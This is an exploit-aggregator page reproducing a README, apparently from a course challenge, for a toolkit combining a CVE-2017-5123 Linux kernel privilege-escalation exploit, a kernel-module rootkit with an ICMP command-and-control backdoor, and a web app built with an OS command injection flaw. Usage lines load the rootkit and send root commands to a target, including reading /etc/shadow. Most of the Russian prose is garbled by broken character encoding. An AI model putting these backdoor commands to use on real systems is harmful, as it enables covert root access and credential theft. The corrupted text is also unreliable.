## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NABILBOUDRA-CVE-2017-5123
# CVE-2017-5123
ΠΡΠΎΡ ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΠΉ ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ Π΄Π΅ΠΌΠΎΠ½ΡΡΡΠ°ΡΠΈΡ **CVE-2017-5123** , ICMP-Π±ΡΠΊΠ΄ΠΎΡΠ° Ρ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡΠΌ ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ, ΠΈ Π²Π΅Π±-ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ, ΡΡΠ·Π²ΠΈΠΌΠΎΠ³ΠΎ ΠΊ **CWE-78** (Π²Π½Π΅Π΄ΡΠ΅Π½ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ ΠΠ‘).
Π§Π°ΡΡΡ CSC 4308 β Challenge 3.
## ΠΡΠ΅Π΄Π²Π°ΡΠΈΡΠ΅Π»ΡΠ½ΡΠ΅ ΡΡΠ΅Π±ΠΎΠ²Π°Π½ΠΈΡ
* **Π―Π΄ΡΠΎ Linux** : 4.13 Π΄ΠΎ (Π½ΠΎ Π½Π΅ Π²ΠΊΠ»ΡΡΠ°Ρ) 4.13.7
* **Node.js** : 10.x
* **npm** : 6.x
## ΠΠ±Π·ΠΎΡ
ΠΡΠΎΡ ΠΏΡΠΎΠ΅ΠΊΡ Π΄Π΅ΠΌΠΎΠ½ΡΡΡΠΈΡΡΠ΅Ρ ΡΡΠΈ ΡΠ°Π·Π»ΠΈΡΠ½ΡΡ
ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠ° ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Π½ΠΈΠΉ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ:
### 1\. **ΠΠΊΡΠΏΠ»ΠΎΠΉΡ ΡΠ΄ΡΠ° CVE-2017-5123** (`lkm/rootkit.c`)
ΠΠΎΠΊΠ°Π·Π°ΡΠ΅Π»ΡΡΡΠ²ΠΎ ΠΊΠΎΠ½ΡΠ΅ΠΏΡΠΈΠΈ ΡΠΊΡΠΏΠ»ΠΎΠΉΡΠ° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ ΡΠΈΡΡΠ΅ΠΌΠ½ΠΎΠ³ΠΎ Π²ΡΠ·ΠΎΠ²Π° `waitid`, ΠΏΠΎΡΠ²ΠΈΠ²ΡΠ΅ΠΉΡΡ Π² ΡΠ΄ΡΠ΅ Linux 4.13. ΠΡΠ° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ ΠΏΠΎΠ²ΡΡΠΈΡΡ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ ΠΈ Π²ΡΠΉΡΠΈ ΠΈΠ· ΠΏΠ΅ΡΠΎΡΠ½ΠΈΡΡ.
* **CVE ID** : CVE-2017-5123
* **CWE ID** : CWE-787 (Π²ΡΡ
ΠΎΠ΄ Π·Π° Π³ΡΠ°Π½ΠΈΡΡ Π±ΡΡΠ΅ΡΠ°)
* **ΠΠΎΠ·Π΄Π΅ΠΉΡΡΠ²ΠΈΠ΅** : Π»ΠΎΠΊΠ°Π»ΡΠ½ΠΎΠ΅ ΠΏΠΎΠ²ΡΡΠ΅Π½ΠΈΠ΅ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ
* **ΠΠ²ΡΠΎΡ ΡΠΊΡΠΏΠ»ΠΎΠΉΡΠ°** : Chris Salls (@chris_salls)
### 2\. **Π ΡΡΠΊΠΈΡ ΡΠ΄ΡΠ° LKM** (`lkm/lkm.c`)
ΠΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΠΉ ΠΌΠΎΠ΄ΡΠ»Ρ ΡΠ΄ΡΠ° Linux (LKM), ΡΠ΅Π°Π»ΠΈΠ·ΡΡΡΠΈΠΉ ΡΠΊΡΡΡΡΠΉ ΠΊΠ°Π½Π°Π» ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ ΠΈ ΠΊΠΎΠ½ΡΡΠΎΠ»Ρ ΡΠ΅ΡΠ΅Π· ICMP-ΠΏΠ°ΠΊΠ΅ΡΡ ΡΡ
ΠΎ-Π·Π°ΠΏΡΠΎΡΠ° (ping).
* **CWE ID** : CWE-912 (ΡΠΊΡΡΡΠ°Ρ ΡΡΠ½ΠΊΡΠΈΠΎΠ½Π°Π»ΡΠ½ΠΎΡΡΡ)
* **Π€ΡΠ½ΠΊΡΠΈΠΎΠ½Π°Π»ΡΠ½ΠΎΡΡΡ** :
* ΠΠ΅ΡΠ΅Ρ
Π²Π°ΡΡΠ²Π°Π΅Ρ ICMP-ΡΡ
ΠΎ-Π·Π°ΠΏΡΠΎΡΡ Ρ Π½ΠΎΠΌΠ΅ΡΠΎΠΌ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΠΎΡΡΠΈ `25678`
* ΠΠ·Π²Π»Π΅ΠΊΠ°Π΅Ρ ΠΊΠΎΠΌΠ°Π½Π΄Ρ ΠΎΠ±ΠΎΠ»ΠΎΡΠΊΠΈ ΠΈΠ· ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π½Π°Π³ΡΡΠ·ΠΊΠΈ ICMP
* ΠΡΠΏΠΎΠ»Π½ΡΠ΅Ρ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Ρ ΠΏΡΠ°Π²Π°ΠΌΠΈ root
* ΠΠΎΠ·Π²ΡΠ°ΡΠ°Π΅Ρ Π²ΡΠ²ΠΎΠ΄ ΠΊΠΎΠΌΠ°Π½Π΄ ΡΠ΅ΡΠ΅Π· ICMP-ΠΏΠ°ΠΊΠ΅ΡΡ ΡΡ
ΠΎ-ΠΎΡΠ²Π΅ΡΠ°
### 3\. **Π£ΡΠ·Π²ΠΈΠΌΠΎΠ΅ Π²Π΅Π±-ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅** (`vulnerable-app/`)
ΠΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π΄Π»Ρ ΠΎΠ±ΠΌΠ΅Π½Π° ΡΠ°ΠΉΠ»Π°ΠΌΠΈ Π½Π° React + Node.js, ΡΡΠ·Π²ΠΈΠΌΠΎΠ΅ ΠΊ Π²Π½Π΅Π΄ΡΠ΅Π½ΠΈΡ ΠΊΠΎΠΌΠ°Π½Π΄ ΠΠ‘.
* **CWE ID** : CWE-78 (Π²Π½Π΅Π΄ΡΠ΅Π½ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ ΠΠ‘)
* **Π‘Π»Π°Π±ΠΎΡΡΡ** : Π²Π½Π΅Π΄ΡΠ΅Π½ΠΈΠ΅ ΠΌΠ΅ΡΠ°ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ² ΠΎΠ±ΠΎΠ»ΠΎΡΠΊΠΈ Π² ΠΏΠΎΠ»Π΅ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π°
### 4\. **ICMP Pinger Π΄Π»Ρ Π΄Π°Π½Π½ΡΡ
** (`pinger/data-ping.c`)
Π£ΡΠΈΠ»ΠΈΡΠ° Π΄Π»Ρ ΠΎΡΠΏΡΠ°Π²ΠΊΠΈ ΡΠΏΠ΅ΡΠΈΠ°Π»ΡΠ½ΠΎ ΡΡΠΎΡΠΌΠΈΡΠΎΠ²Π°Π½Π½ΡΡ
ICMP-ΡΡ
ΠΎ-Π·Π°ΠΏΡΠΎΡΠΎΠ² Ρ ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ»ΡΠ½ΠΎΠΉ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π½Π°Π³ΡΡΠ·ΠΊΠΎΠΉ Π΄Π»Ρ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΡ Ρ Π±ΡΠΊΠ΄ΠΎΡΠΎΠΌ ΡΡΡΠΊΠΈΡΠ° ΡΠ΄ΡΠ°.
## ΠΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅
### ΠΠ°Π³ΡΡΠ·ΠΊΠ° LKM
#### Π‘Π±ΠΎΡΠΊΠ° ΠΌΠΎΠ΄ΡΠ»Ρ ΡΠ΄ΡΠ°
root@kitploit:~
cd lkm
make
#### ΠΠ°Π³ΡΡΠ·ΠΊΠ° ΠΌΠΎΠ΄ΡΠ»Ρ ΡΠ΄ΡΠ°
root@kitploit:~
sudo insmod lkm.ko
#### Π‘Π±ΠΎΡΠΊΠ° ΠΊΠ»ΠΈΠ΅Π½ΡΠ° Pinger
root@kitploit:~
cd ../pinger
gcc -o data-ping data-ping.c
#### ΠΡΠΏΡΠ°Π²ΠΊΠ° ΠΊΠΎΠΌΠ°Π½Π΄ ΡΠ΅ΡΠ΅Π· ICMP
root@kitploit:~
# ΠΠΎΠ»ΠΆΠ½ΠΎ Π²ΡΠΏΠΎΠ»Π½ΡΡΡΡΡ ΠΎΡ root Π΄Π»Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ raw-ΡΠΎΠΊΠ΅ΡΠΎΠ²
sudo ./data-ping <target-ip> "whoami"
sudo ./data-ping localhost "ls -la /root"
sudo ./data-ping 192.168.1.100 "cat /etc/shadow"
#### ΠΡΠ³ΡΡΠ·ΠΊΠ° ΠΌΠΎΠ΄ΡΠ»Ρ
root@kitploit:~
sudo rmmod lkm
#### ΠΡΡΡΡΠ°Ρ ΠΏΠ΅ΡΠ΅Π·Π°Π³ΡΡΠ·ΠΊΠ°
root@kitploit:~
make reload
### ΠΠ°ΠΏΡΡΠΊ ΡΡΠ·Π²ΠΈΠΌΠΎΠ³ΠΎ Π²Π΅Π±-ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ
root@kitploit:~
# Π‘Π±ΠΎΡΠΊΠ° ΡΡΠΎΠ½ΡΠ΅Π½Π΄Π°
cd vulnerable-app/frontend
npm run build
# ΠΠΎΠΏΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ ΡΠΎΠ±ΡΠ°Π½Π½ΠΎΠ³ΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ Π² Π±ΡΠΊΠ΅Π½Π΄
cp -r build ../backend/
# ΠΠ°ΠΏΡΡΠΊ ΡΠ΅ΡΠ²Π΅ΡΠ° Π±ΡΠΊΠ΅Π½Π΄Π° (ΠΎΠ±ΡΠ»ΡΠΆΠΈΠ²Π°Π΅Ρ ΠΈ API, ΠΈ ΡΡΠΎΠ½ΡΠ΅Π½Π΄)
cd ../backend
npm start
ΠΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π±ΡΠ΄Π΅Ρ Π΄ΠΎΡΡΡΠΏΠ½ΠΎ ΠΏΠΎ Π°Π΄ΡΠ΅ΡΡ `http://localhost:3001`
## Π‘ΡΡΠ»ΠΊΠΈ
* **CVE-2017-5123** : https://vulners.com/cve/CVE-2017-5123
* **CWE-78** : https://cwe.mitre.org/data/definitions/78.html
* **CWE-787** : https://cwe.mitre.org/data/definitions/787.html
* **CWE-912** : https://cwe.mitre.org/data/definitions/912.html
* **ΠΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΡΠΉ ΠΊΠΎΠ΄ ΡΠΊΡΠΏΠ»ΠΎΠΉΡΠ° Chris Salls** : https://github.com/salls/kernel-exploits